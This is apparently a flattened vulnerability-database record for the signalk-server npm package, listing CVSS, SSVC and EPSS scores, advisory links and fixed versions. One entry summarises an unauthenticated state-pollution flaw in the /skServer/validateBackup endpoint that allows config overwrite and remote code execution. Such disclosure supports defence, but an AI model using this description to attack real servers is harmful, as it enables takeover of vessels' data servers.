scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server
2
reference_url https://github.com/SignalK/signalk-server/releases/tag/v2.24.0-beta.4
reference_id
reference_type
scores
0
value 9.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
2
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-04-03T18:00:30Z/
url https://github.com/SignalK/signalk-server/releases/tag/v2.24.0-beta.4
3
reference_url https://github.com/SignalK/signalk-server/security/advisories/GHSA-x8hc-fqv3-7gwf
reference_id
reference_type
scores
0
value 9.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
1
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-04-03T18:00:30Z/
url https://github.com/SignalK/signalk-server/security/advisories/GHSA-x8hc-fqv3-7gwf
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-33950
reference_id
reference_type
scores
0
value 9.4
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-33950
5
reference_url https://github.com/advisories/GHSA-x8hc-fqv3-7gwf
reference_id GHSA-x8hc-fqv3-7gwf
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-x8hc-fqv3-7gwf
fixed_packages
0
url pkg:npm/signalk-server@2.24.0-beta.4
purl pkg:npm/signalk-server@2.24.0-beta.4
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2e2f-qt4n-dqa7
1
vulnerability VCID-jq2a-wxb1-dufm
2
vulnerability VCID-ndfm-uuf3-nbfg
3
vulnerability VCID-veqf-x77b-4bf7
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/signalk-server@2.24.0-beta.4
aliases CVE-2026-33950, GHSA-x8hc-fqv3-7gwf
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-xvyj-f4ps-kycx
11
url VCID-yktb-859h-y7hs
vulnerability_id VCID-yktb-859h-y7hs
summary
Signal K Server has Unauthenticated State Pollution leading to Remote Code Execution (RCE)
An unauthenticated attacker can pollute the internal state (`restoreFilePath`) of the server via the `/skServer/validateBackup` endpoint. This allows the attacker to hijack the administrator's "Restore" functionality to overwrite critical server configuration files (e.g., `security.json`, `package.json`), leading to account takeover and Remote Code Execution (RCE).
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-66398
reference_id
reference_type
scores
0
value 0.00139
scoring_system epss
scoring_elements 0.33669
published_at 2026-06-07T12:55:00Z
1
value 0.00139
scoring_system epss
scoring_elements 0.33658
published_at 2026-06-09T12:55:00Z
2
value 0.00139
scoring_system epss
scoring_elements 0.33634
published_at 2026-06-08T12:55:00Z
3
value 0.00139
scoring_system epss
scoring_elements 0.33703
published_at 2026-06-06T12:55:00Z
4
value 0.00139
scoring_system epss
scoring_elements 0.33689
published_at 2026-06-05T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-66398
1
reference_url https://github.com/SignalK/signalk-server
reference_id
reference_type
scores
0
value 9.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server
2
reference_url https://github.com/SignalK/signalk-server/commit/5c211eaf33f0ccadbaed6720264780d92afbd7f8
reference_id
reference_type
scores
0
value 9.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://github.com/SignalK/signalk-server/commit/5c211eaf33f0ccadbaed6720264780d92afbd7f8
3
reference_url https://github.com/SignalK/signalk-server/releases/tag/v2.19.0
reference_id
reference_type
scores
0
value 9.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
1
value 9.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system generic_textual
scoring_elements
3
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-01-05T21:00:27Z/
url https://github.com/SignalK/signalk-server/releases/tag/v2.19.0
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-66398
reference_id CVE-2025-66398
reference_type
scores
0
value 9.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
1
value CRITICAL
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-66398
5
reference_url https://github.com/advisories/GHSA-w3x5-7c4c-66p9
reference_id GHSA-w3x5-7c4c-66p9
reference_type
scores
0
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
url https://github.com/advisories/GHSA-w3x5-7c4c-66p9
6
reference_url https://github.com/SignalK/signalk-server/security/advisories/GHSA-w3x5-7c4c-66p9
reference_id GHSA-w3x5-7c4c-66p9
reference_type
scores
0
value 9.6
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
1
value 9.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
2
value CRITICAL
scoring_system cvssv3.1_qr
scoring_elements
3
value CRITICAL
scoring_system generic_textual
scoring_elements
4
value Track*
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:Y/T:T/P:M/B:A/M:M/D:R/2026-01-05T21:00:27Z/
url https://github.com/SignalK/signalk-server/security/advisories/GHSA-w3x5-7c4c-66p9
fixed_packages
0
url pkg:npm/signalk-server@2.19.0
purl pkg:npm/signalk-server@2.19.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-2e2f-qt4n-dqa7
1
vulnerability VCID-3s8j-v31f-pyaf
2
vulnerability VCID-jq2a-wxb1-dufm
3
vulnerability VCID-ndfm-uuf3-nbfg
4
vulnerability VCID-v11p-jkzw-vkar
5
vulnerability VCID-xvyj-f4ps-kycx
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/signalk-server@2.19.0
aliases CVE-2025-66398, GHSA-w3x5-7c4c-66p9
risk_score 4.5
exploitability 0.5
weighted_severity 9.0
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-yktb-859h-y7hs
Fixing_vulnerabilities
Risk_score4.5
Resource_urlhttp://public2.vulnerablecode.io/packages/pkg:npm/signalk-server@1.10.0